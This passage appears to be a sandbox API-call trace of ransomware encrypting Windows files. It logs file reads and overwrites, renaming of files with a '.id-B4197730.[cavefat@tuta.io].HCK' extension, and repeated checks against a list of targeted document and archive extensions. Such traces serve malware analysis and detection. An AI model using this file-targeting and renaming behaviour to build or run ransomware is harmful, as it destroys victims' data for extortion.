liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.697] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x265e58, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0164.697] ReadFile (in: hFile=0x370, lpBuffer=0x3876058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3876058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0164.713] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.713] WriteFile (in: hFile=0x370, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xc0114, lpNumberOfBytesWritten=0x2c0fca8, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fca8*=0xc0114, lpOverlapped=0x0) returned 1 [0164.725] SetEndOfFile (hFile=0x370) returned 1 [0164.725] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e16020 [0164.729] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0164.729] WriteFile (in: hFile=0x370, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0164.730] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xe1f72, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0164.730] WriteFile (in: hFile=0x370, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0165.199] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x265e58, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0165.199] WriteFile (in: hFile=0x370, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0165.201] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e16020 | out: hHeap=0x6b0000) returned 1 [0165.393] CloseHandle (hObject=0x370) returned 1 [0165.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString=".doc") returned 4 [0165.394] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0165.394] lstrlenW (lpString=".docx") returned 5 [0165.394] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0165.394] lstrlenW (lpString=".pdf") returned 4 [0165.394] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0165.394] lstrlenW (lpString=".xls") returned 4 [0165.394] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0165.394] lstrlenW (lpString=".xlsx") returned 5 [0165.394] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0165.394] lstrlenW (lpString=".ppt") returned 4 [0165.394] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString=".zip") returned 4 [0165.394] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0165.394] lstrlenW (lpString=".rar") returned 4 [0165.394] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0165.394] lstrlenW (lpString=".bz2") returned 4 [0165.394] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0165.394] lstrlenW (lpString=".7z") returned 3 [0165.394] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString=".dbf") returned 4 [0165.394] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString=".1cd") returned 4 [0165.394] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString=".jpg") returned 4 [0165.394] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.394] lstrlenW (lpString=".doc") returned 4 [0165.394] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0165.394] lstrlenW (lpString=".docx") returned 5 [0165.394] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0165.394] lstrlenW (lpString=".pdf") returned 4 [0165.395] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0165.395] lstrlenW (lpString=".xls") returned 4 [0165.395] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0165.395] lstrlenW (lpString=".xlsx") returned 5 [0165.395] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0165.395] lstrlenW (lpString=".ppt") returned 4 [0165.395] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.395] lstrlenW (lpString=".zip") returned 4 [0165.395] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0165.395] lstrlenW (lpString=".rar") returned 4 [0165.395] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0165.395] lstrlenW (lpString=".bz2") returned 4 [0165.395] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0165.395] lstrlenW (lpString=".7z") returned 3 [0165.395] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.395] lstrlenW (lpString=".dbf") returned 4 [0165.395] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.395] lstrlenW (lpString=".1cd") returned 4 [0165.395] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0165.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0165.395] lstrlenW (lpString=".jpg") returned 4 [0165.395] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0165.395] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.395] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.395] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9728) returned 1 [0165.396] CloseHandle (hObject=0x370) returned 1 [0165.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0165.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.396] lstrlenW (lpString=".doc") returned 4 [0165.396] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.396] lstrlenW (lpString=".docx") returned 5 [0165.396] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.396] lstrlenW (lpString=".pdf") returned 4 [0165.396] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.396] lstrlenW (lpString=".xls") returned 4 [0165.396] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.396] lstrlenW (lpString=".xlsx") returned 5 [0165.396] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.396] lstrlenW (lpString=".ppt") returned 4 [0165.396] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.396] lstrlenW (lpString=".zip") returned 4 [0165.396] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.396] lstrlenW (lpString=".rar") returned 4 [0165.396] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.396] lstrlenW (lpString=".bz2") returned 4 [0165.396] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.396] lstrlenW (lpString=".7z") returned 3 [0165.396] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.396] lstrlenW (lpString=".dbf") returned 4 [0165.397] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString=".1cd") returned 4 [0165.397] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString=".jpg") returned 4 [0165.397] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString=".doc") returned 4 [0165.397] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.397] lstrlenW (lpString=".docx") returned 5 [0165.397] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.397] lstrlenW (lpString=".pdf") returned 4 [0165.397] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.397] lstrlenW (lpString=".xls") returned 4 [0165.397] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.397] lstrlenW (lpString=".xlsx") returned 5 [0165.397] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.397] lstrlenW (lpString=".ppt") returned 4 [0165.397] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString=".zip") returned 4 [0165.397] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.397] lstrlenW (lpString=".rar") returned 4 [0165.397] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.397] lstrlenW (lpString=".bz2") returned 4 [0165.397] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.397] lstrlenW (lpString=".7z") returned 3 [0165.397] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString=".dbf") returned 4 [0165.397] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString=".1cd") returned 4 [0165.397] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0165.397] lstrlenW (lpString=".jpg") returned 4 [0165.397] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.397] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.397] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.413] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10240) returned 1 [0165.413] CloseHandle (hObject=0x390) returned 1 [0165.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0165.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.413] lstrlenW (lpString=".doc") returned 4 [0165.413] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.413] lstrlenW (lpString=".docx") returned 5 [0165.413] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.413] lstrlenW (lpString=".pdf") returned 4 [0165.413] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.413] lstrlenW (lpString=".xls") returned 4 [0165.413] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.413] lstrlenW (lpString=".xlsx") returned 5 [0165.413] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.413] lstrlenW (lpString=".ppt") returned 4 [0165.413] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.413] lstrlenW (lpString=".zip") returned 4 [0165.413] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.413] lstrlenW (lpString=".rar") returned 4 [0165.413] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.413] lstrlenW (lpString=".bz2") returned 4 [0165.413] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.413] lstrlenW (lpString=".7z") returned 3 [0165.414] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".dbf") returned 4 [0165.414] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".1cd") returned 4 [0165.414] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".jpg") returned 4 [0165.414] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".doc") returned 4 [0165.414] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.414] lstrlenW (lpString=".docx") returned 5 [0165.414] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.414] lstrlenW (lpString=".pdf") returned 4 [0165.414] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.414] lstrlenW (lpString=".xls") returned 4 [0165.414] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.414] lstrlenW (lpString=".xlsx") returned 5 [0165.414] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.414] lstrlenW (lpString=".ppt") returned 4 [0165.414] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".zip") returned 4 [0165.414] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.414] lstrlenW (lpString=".rar") returned 4 [0165.414] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.414] lstrlenW (lpString=".bz2") returned 4 [0165.414] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.414] lstrlenW (lpString=".7z") returned 3 [0165.414] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".dbf") returned 4 [0165.414] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".1cd") returned 4 [0165.414] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0165.414] lstrlenW (lpString=".jpg") returned 4 [0165.414] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.414] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.414] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.415] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10752) returned 1 [0165.415] CloseHandle (hObject=0x390) returned 1 [0165.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0165.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.415] lstrlenW (lpString=".doc") returned 4 [0165.415] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.415] lstrlenW (lpString=".docx") returned 5 [0165.415] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.415] lstrlenW (lpString=".pdf") returned 4 [0165.415] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.415] lstrlenW (lpString=".xls") returned 4 [0165.415] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.415] lstrlenW (lpString=".xlsx") returned 5 [0165.415] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.415] lstrlenW (lpString=".ppt") returned 4 [0165.415] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.415] lstrlenW (lpString=".zip") returned 4 [0165.415] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.415] lstrlenW (lpString=".rar") returned 4 [0165.415] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.415] lstrlenW (lpString=".bz2") returned 4 [0165.415] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.415] lstrlenW (lpString=".7z") returned 3 [0165.415] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.415] lstrlenW (lpString=".dbf") returned 4 [0165.415] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString=".1cd") returned 4 [0165.416] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString=".jpg") returned 4 [0165.416] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString=".doc") returned 4 [0165.416] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.416] lstrlenW (lpString=".docx") returned 5 [0165.416] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.416] lstrlenW (lpString=".pdf") returned 4 [0165.416] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.416] lstrlenW (lpString=".xls") returned 4 [0165.416] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.416] lstrlenW (lpString=".xlsx") returned 5 [0165.416] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.416] lstrlenW (lpString=".ppt") returned 4 [0165.416] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString=".zip") returned 4 [0165.416] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.416] lstrlenW (lpString=".rar") returned 4 [0165.416] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.416] lstrlenW (lpString=".bz2") returned 4 [0165.416] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.416] lstrlenW (lpString=".7z") returned 3 [0165.416] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString=".dbf") returned 4 [0165.416] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString=".1cd") returned 4 [0165.416] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0165.416] lstrlenW (lpString=".jpg") returned 4 [0165.416] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.416] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.416] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0165.421] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9728) returned 1 [0165.421] CloseHandle (hObject=0x394) returned 1 [0165.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0165.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: 